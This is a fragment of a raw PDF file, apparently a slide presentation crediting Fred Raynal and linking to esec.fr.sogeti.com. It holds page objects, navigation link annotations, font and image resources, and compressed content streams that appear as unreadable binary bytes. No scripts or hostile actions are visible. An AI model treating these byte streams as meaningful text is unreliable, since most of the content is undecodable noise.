/ProcSet [ /PDF /Text ] >> endobj 241 0 obj << /Type /Page /Contents 242 0 R /Resources 240 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 214 0 R 215 0 R 216 0 R 217 0 R 218 0 R 219 0 R 220 0 R 221 0 R 222 0 R 223 0 R 224 0 R 225 0 R 226 0 R 227 0 R 228 0 R 229 0 R 230 0 R 231 0 R 232 0 R 233 0 R 234 0 R 235 0 R 236 0 R 237 0 R 238 0 R 239 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 242 0 obj << /Length 2422 /Filter /FlateDecode >>stream xZYS#~W+yq=Ä7rD@u6jaxᙀΪ*+K))yΔWI'{!-[/g?^(ᩄՎyK7[υq2 2xn⠣-'j/ ?(zRKޯư-E7T@@0 O0N-cQ!΂蕲b0t:1`ǹfeZ* @O"}y64^fBu#$#yJzsރp@jA&}Mׅ<5&U}˫σ6䑀?<6fnN_|Nj׬JWP}|;`?ˎgD }¢ IF!!X9 )9dV Vd6 8)h^h=NVHY΃% }+2S[<W%U^]` x|vȃ9R6uWw4 9xk`d$gɸGN"`r^cghK5&ROY}aofa=VXa倜T;Z-( 6SJ;0*9 1rq!b`,܃P$ӈԍ"}HpY97EVwj$¡'ێN؀#>wΩA9gR,.r3O8j  7]StO9'B>_d /dP%#6%ߏy^8&vyg() EL>nn/$|6 x+Bw95f %7^eN~hɏ};hTo q[Y`6oM>eXBkGNk ]mȠl ºl4 ~RPip"R f&lwh7FfN|B|,u,zq{XٷH-ierV[W D_.Iž$!e2o'Ǩq|7ߎ!C8ac׭2MF) J dq}EQm郆ŐaIΏ}Iu95bD/A0R,}$cB* Si K2@LES( DK+ZC}*q`EL(^y`rՕi M|dEIhrrM)RU%k[׎NwG+e3#T!nWɭD =VL|LNϛ庝#9ӮnSS;] $^4j٤?ë́N) kyS|RoA2cJ}=M@$&5˦_(_U]c@C:_{F 4jNiet%q2*9Mg ob"[5v#cDp'1MtE[ׇxHc |$,^L:vкW$WX*>iJV{.V&SDd+8 >{bwO endstream endobj 243 0 obj << /D [ 241 0 R /XYZ 334.488 1.245 null ] >> endobj 244 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 11.501 11.501 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 279 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 245 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 166.639 167.034 178.642 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 246 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 140.297 151.749 151.742 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 247 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 115.331 101.969 124.843 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 248 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 86.499 253.638 97.944 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 249 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 250 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 251 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 252 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 253 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 254 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 255 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 256 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 257 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 258 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 259 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 260 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 261 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 262 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 263 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 264 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 265 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 266 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 267 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 268 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 269 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 270 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 271 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 272 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 273 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 274 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 275 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 276 0 obj << /Type /Page /Contents 277 0 R /Resources 275 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 249 0 R 250 0 R 251 0 R 252 0 R 253 0 R 254 0 R 255 0 R 256 0 R 257 0 R 258 0 R 259 0 R 260 0 R 261 0 R 262 0 R 263 0 R 264 0 R 265 0 R 266 0 R 267 0 R 268 0 R 269 0 R 270 0 R 271 0 R 272 0 R 273 0 R 245 0 R 246 0 R 247 0 R 248 0 R 274 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 277 0 obj << /Length 1810 /Filter /FlateDecode >>stream xZIo[7WT"CqɭAʲk%h33ܞmI%M48\fH ęP@k[ )Je0^KN\O`G2FA(g%C_7Bilu K.9`J ]Hcd6u|SNNEC:]8r@N%v 1Ni;fs%KWpЉmvQEL7Fhd8}Z̭,Y(t% Jј11}k{!#;l RNɘ(oM+IV/o|N u* ՊwPN12ި~@v#QG0!OR>=ޜMP޺%_$}S1l(^-[r.?L:ψ xB5P5|.c Wz5]?e hIeC ~K=<7Nƨ0\bF(+v)Mw$d*\ylɍZHn_d K)4wB4j ]MaJ)cE|6y~):8`Sz޴[w~y9(;=T/On3KhB R[ y{%|RZ3 )Nd5ViǢwWX]!")"戉 JU#)HgiU;?oQQtw=K wtz 2ϹjcR{6/pH>B;W9)oqki5WV穌g<{?I=`{I#:=E endstream endobj 278 0 obj << /D [ 276 0 R /XYZ 334.488 1.245 null ] >> endobj 279 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 5.75043 ] /Coords [ 3.53873 8.4045 0 5.75043 5.75043 5.75043 ] /Function << /FunctionType 3 /Domain [ 0 5.75043 ] /Functions [ << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.6555 0.65823 0.75432 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.1099 0.11482 0.28777 ] /N 1 >> << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.1099 0.11482 0.28777 ] /C1 [ 0.10706 0.11058 0.23413 ] /N 1 >> << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.10706 0.11058 0.23413 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 1.9463 3.89261 5.30806 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 280 0 obj << /D [ 309 0 R /XYZ 334.488 1.245 null ] >> endobj 281 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/pdffull.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 313 0 R /BBox [ 0 0 466 380 ] /Resources << /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] /ColorSpace << /Cs2 314 0 R /Cs1 315 0 R >> /ExtGState << /Gs2 316 0 R /Gs3 317 0 R /Gs4 318 0 R /Gs1 319 0 R /Gs5 320 0 R >> /Font << /F1.0 321 0 R /F2.0 322 0 R /F3.0 323 0 R >> /XObject << /Im22 324 0 R /Im7 325 0 R /Im5 326 0 R /Im15 327 0 R /Im10 328 0 R /Im11 329 0 R /Im12 330 0 R /Im21 331 0 R /Im27 332 0 R /Im26 333 0 R /Im16 334 0 R /Im18 335 0 R /Im2 336 0 R /Im29 337 0 R /Im13 338 0 R /Im23 339 0 R /Im20 340 0 R /Im6 341 0 R /Im17 342 0 R /Im3 343 0 R /Im25 344 0 R /Im28 345 0 R /Im24 346 0 R /Im4 347 0 R /Im8 348 0 R /Im9 349 0 R /Im1 350 0 R /Im19 351 0 R /Im14 352 0 R >> >> /Length 5223 /Filter /FlateDecode >>stream xr²3޸/c2jKAܒ 9i D@^m~jtk77ôgvY]zz߀O]pèa4/x{Xaf\~5>`- cE -&?ݿ^~6ijvq5s}r iXnZk6j50O6xh kL68C|l=*P0٢\:.g>r'-V<-1s=?0밍ׇ2ln}F>2Ӆ'3sc.lӶmc^ٮ0a[q궵mcglB\cYCif(.AN a]چeVb0bUq{kEԅiBez`l zVaDc? *MpE,8s]ٱEOSaGzzDCmee(v-C |f=߳Kys0@ ERCqkϠتԎ[7LB ފvzQS-:IΙ oi6iԺ'f2\ⴖmwMI"g EM|)CvHP]n1c(ެоo'dz>^Mi$+ g -ء#M2,XH#xֆ} " ̀zBAj\~L(پ)371Uf\둟߷?EYXZ"IKOSCq+,ۛe)߆޾z|{ջR8D|N90gSLK1%0ՄY6YJLd/dk$<_v~Nᱚ1yq=u"+B^Q?5+O&?֒c4~qv&b]=JO9'y2dތlz x6bAk2QU>AmxF(l `7hH淐gK&ϯg^*=\ & ]fH"V .=tHb /Jm˖{cei%Mq'cq )y~ =ȼ %L&4+#_``jpɊOޝ4:&k8eä !zz?0Yl6u+E9hcurv0vOo<??ki{ݧ6"Ehg<_~:Y7sٗB>|YXe_$Ck1 ~3 Bݤ s-"t)0&$;ZJ*aŽ2t8Oi{eU'Gw g'Xz,3FդᢹUbQB W.ޔ9ey\}:ZtIJXXFKBzEsSs5.^uj7NVX{lm$}E@IvОd_:fVបRsnm~&aRetVuv\%ޗmmDW JϑstE4D߾6'mܖz\ ,ڴQFdAAaN'͝\Mcz8ѯ _uUR%/|Zfܽp~++M d^T@\Rb %i1f, t`ѤC˧פ%FQHB9sSe{+P`a -KgwFVKhXT-&/2Zz"a8F'uI,u߮c7h %)5q 1H8@[F=kk]{ޱ0PF-Y@ҷ4 dOq!px Pr; Q>aخOwhz E9SD7予'.#TֽWz!DļrFRL?KkW^r--H;]׬衮z{S uLGl+p@M8 Y1@p@I[Pn-v#ʪMft PuJ^X.R* wk%;Z4o%:KH%V$}p##4+nMí ><@6Nn^W^`Y ZfrS4`T] Eó$v49)<`tfdL&ɧuq83o((?v;DbqIZ7ز|ˏ>}j{]:>n0;Җ!H{S`ɅoèBJ̀gf 0ΕofBBC#zi2c[@ڐ:/C%ӕ'@t9Jdotvtv/4}e`""f=<7<>8HGJ pV!,DH82sԵL#ʨq_x5"(,M8T+VXnbER&X48m4s#% 063_gUbCE^P!{O2&w*W o$>W#yWH}OT8RܤPmይ m"$ȿ6 Ǫ`?m_~G**_# Aae$@dm{ V!Ԇƚ0KxaT.r;@7aC;DQr\FOz ?fz!r˭:!ϼћ$ μ(Ϣaչ_U^;ͷQQλU/SPӀZRZ~fIoF/! +YZvPusЫ7X( ;2b+(A*M6Hz'rf 8`v"zͫ ʃg̓?Z.j;LBe?7g|ooBWՋ}U(cU^ρSnr3K{ PZNM$=YN;NFT#}|'w}eǂWY1r%F D(#J:UXe|63, FjCr jz1&:M%B2I&w+lqb_(.V 3mM F i9YuN3yqC4V`PeYA\٩i\XcP7:k@@&z90~Uڒ˯ˇtAc,Fn;@BtBہ;";lcnVWSZq'7`J C䢴j&Y(Uٜ47*DrQ-he\q\椆ec>k2ʸ/n =A)>Kfy(d40\tʇDG !vxִ!+Q4w֨ cJ1Ӊ489 4iSଝς*-LOf>s4}HU5d7ast4Jow_ ~\1$ܨ"IKi+u.%_1uo_|| @ih=dE/xyf|Q endstream endobj 282 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 283 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 284 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 285 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 286 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 287 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 288 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 289 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 290 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 291 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 292 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 293 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 294 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 295 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 296 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 297 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 298 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 299 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 300 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 301 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 302 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 303 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 304 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 305 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 306 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 307 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 308 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F61 311 0 R /F39 87 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Im7 118 0 R /Im8 281 0 R >> /ProcSet [ /PDF /Text ] >> endobj 309 0 obj << /Type /Page /Contents 310 0 R /Resources 308 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 282 0 R 283 0 R 284 0 R 285 0 R 286 0 R 287 0 R 288 0 R 289 0 R 290 0 R 291 0 R 292 0 R 293 0 R 294 0 R 295 0 R 296 0 R 297 0 R 298 0 R 299 0 R 300 0 R 301 0 R 302 0 R 303 0 R 304 0 R 305 0 R 306 0 R 307 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 310 0 obj << /Length 1394 /Filter /FlateDecode >>stream xXKo7Wtti- AA]ˮ˪em}gڵ,dq3rpfHΙ`Fblk^& -[Г[8VՎ-uխB* &]9r &8Qq˵G{/aͭT"iݵ#TZT`eh{d)d KD `wJ10c6:$)/[hBț`i.t9KYKV(nUH9#0#)0,Iӧ|%+l0[u;N$-'u$!<74BG,q֐'"==?cp{!PkA!&{|6L>'Oѓz+֗I딙P|8 uDbiǯӣ^|ͮ< SYIU(\&MGc{J MuX2C(t|y/irtAImnFÝV[G { /#f;ɶy`[[oT?&%<{hE?1|C?8oY n(=o\.s0W ID.N`鯜פ?X Dr0< k ]+gi2MKۨmR H4Z,8|fw0B5Z{V%l"ԾͲy/^T*7IaI0W@3[ƷO;iDhW٬ǭv9#E-?{n'].-?;M4|f-r !(woWڑvq {X"!>MKJRn`,3(Q8}+YB:)fx\X yd!jxX*p2f*,X|z% &c;:> endobj 312 0 obj << /D [ 309 0 R /XYZ 334.488 1.245 null ] >> endobj 313 0 obj << /Author (Fred Raynal) /CreationDate (D:20090525142500Z) /Creator (OmniGraffle Professional 5.1.1) /ModDate (D:20090525143000Z) /Producer (Mac OS X 10.5.7 Quartz PDFContext) /Title (pdffull.graffle) >> endobj 314 0 obj [ /ICCBased 354 0 R ] endobj 315 0 obj [ /ICCBased 355 0 R ] endobj 316 0 obj << /Type /ExtGState /ca 1 >> endobj 317 0 obj << /Type /ExtGState /ca 0.1 >> endobj 318 0 obj << /Type /ExtGState /CA 0.75 >> endobj 319 0 obj << /Type /ExtGState /ca 0 >> endobj 320 0 obj << /Type /ExtGState /CA 1 >> endobj 321 0 obj << /Type /Font /Subtype /TrueType /BaseFont /PYSRJI+CourierNewPS-BoldMT /FontDescriptor 356 0 R /Widths 357 0 R /FirstChar 32 /LastChar 122 /Encoding /MacRomanEncoding >> endobj 322 0 obj << /Type /Font /Subtype /TrueType /BaseFont /FDLUQU+Cochin-Bold /FontDescriptor 358 0 R /Widths 359 0 R /FirstChar 70 /LastChar 108 /Encoding /MacRomanEncoding >> endobj 323 0 obj << /Type /Font /Subtype /TrueType /BaseFont /XMSHNQ+Cochin /FontDescriptor 360 0 R /Widths 361 0 R /FirstChar 32 /LastChar 116 /Encoding /MacRomanEncoding >> endobj 324 0 obj << /Length 1283 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 363 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xXgTEξ8ag8J *9.,E JTuu׫/Lι޺RaQ/J»EIx(ob^Vx5/ yAx1 M37s_9fx3#?gYFx84<0?M )4%Lӝi3",MDW tW }T`Y; z2@c.}_Sz5 >0lO6?DO2Kr>FGYzߦo P)pk&1}h׏~kuM?_4 Z_Uߥo@n "?;a !6}F6$ٚl߸6ָ:F'>OZ71}hR@_V_߸:F\2Z~ .kR Jwcğ u'ԚRq%ih]˿xkͿ>@J/ GKnD`.ۧq i>}7 Ηs4,~}_} ԝiVCZ|~=藚RD@RhW<Ɵ'O`gX_V?_>pV;+~cƟO7՗ OGok`}՗A4ej1Q5ZhϳKſ?C© ~cnO>ModMD8p2a-?O"B?ym~#F@c;A[j.?N{/_U_4ex/~aa  ep.9bĿR@T_Gnۯ53_Ki~%z=qz9~׹VݏgwӇ$}᠆sԗxo}~xHǷӿ2@g]R)b϶Ͽ/V oE#7@?~}xw6eLm_-"j%f])>ߢh|Vq endstream endobj 325 0 obj << /Length 2023 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace 315 0 R /SMask 365 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xn6E.I$)rY GI{WwfdM6Q+tM!9b1fff E۪=fl~kiq4G4A ^PnŪ)W:|nneUwUu} ~Soh\#H ?%CG46X$dF'כe'Eq[7M˪muWR7M'0cL7>mSz~5ʾHQfS,2)wɾLjx"Dt`}!͘s>f}e7{S`lYҺX<(  ަ\b~̅~Mx̷.rWt[.< #&1f:gK蠴 jBݧj'-,]1v%$L"{DH*0Pb '"fdE2g4RJ +3ttre-%$,TNH,Q㥏yKh'~q.MVȯ>%EC^Pk̹ (D{Z-:T)EmghXf6}CxB~$(DlU, B将2U`2y՚i*'(Ndڪj3@af{gv$ETbALO1۽}Ob'UELԢ2T^q`XM;~r;N Shi˞K q4#eAha@U_uBdstd= zfvK, dtf v \1AMRFj\r>^Y+z~*;^RZ$:05ᨋ'MCD S>OJTnCn ɟgX15%s*InL3.*5yʴQKd́OY% /33{′ endstream endobj 326 0 obj << /Length 2010 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace 315 0 R /SMask 367 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xnD qOяIoͯNhƴF^,=3;;b1fff:Ţid5zH/u<|z|5߅z@#!V@:p}.>~0G4 /bUn)W:|sfineUwUu} ~a\#H ?%CK46X$dDh&7ɴL#"k_ntףQ&G%s\5|s]'w)GiGti}$J~ȭmh(nس=_v3kϵ0v>stream xc`!0!0!0!0xC endstream endobj 328 0 obj << /Length 80 /Type /XObject /Subtype /Image /Width 196 /Height 22 /ColorSpace 315 0 R /SMask 371 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁàSPa 0` 0` 0` 0` 0` 0` 2 endstream endobj 329 0 obj << /Length 47 /Type /XObject /Subtype /Image /Width 24 /Height 74 /ColorSpace 315 0 R /SMask 373 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x  Om7@a 0` 0` endstream endobj 330 0 obj << /Length 2041 /Type /XObject /Subtype /Image /Width 117 /Height 63 /ColorSpace 315 0 R /SMask 375 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xnFEAĶ(57}?/ P++n EvP@e\gggwg4Ob 1H $)hg=N)-VVYQ>ۏU#?xA vIҺ?X@p`A49x] 4]d 1^ .0.ҏEa4̔d<[ k-4 W2TbU\2vhs@TN(`۴Uy]c\H5Nzk]#382#TklP.!Adh~j'ZɫyqAܪ]Zn?P Gs5\[6Bak (ؼ 1/O;#shTs9>A)FEzV&me z״ :!d|Ɍ 1CNZ*B'xJpo\uqlAޠCB2)F~u-J/S!/~C᮸x5Tڒj9όP HBS)"^6</oԬ]c^//@r/3h\5-s8^{x]-،&V_ am$`Ƶ0轼? .n٦`1’rpivlقB^AZfk& f^G SZ'zQBwҁMNOMNOMNz+pF΀=Ia~-kΰnwK7^n'7AG`iNQmɷҎ.{Zma޳qMGN<#۶Ťv`ˮڴ{^RF}g:PLNayJ$>)BЧ:wsszMp}lcBչeNrC><7tU=6d!Mp&듚1g'I~Y:oI:Єa4,z˼Lb1h=:t5**r(lPvZ;=ʑCPP۰ ԒP+ dKM WdȐjA@4q3 <"T^yumêR]mу4R/m6]Š:0 H- xl*kz\]3l</.b 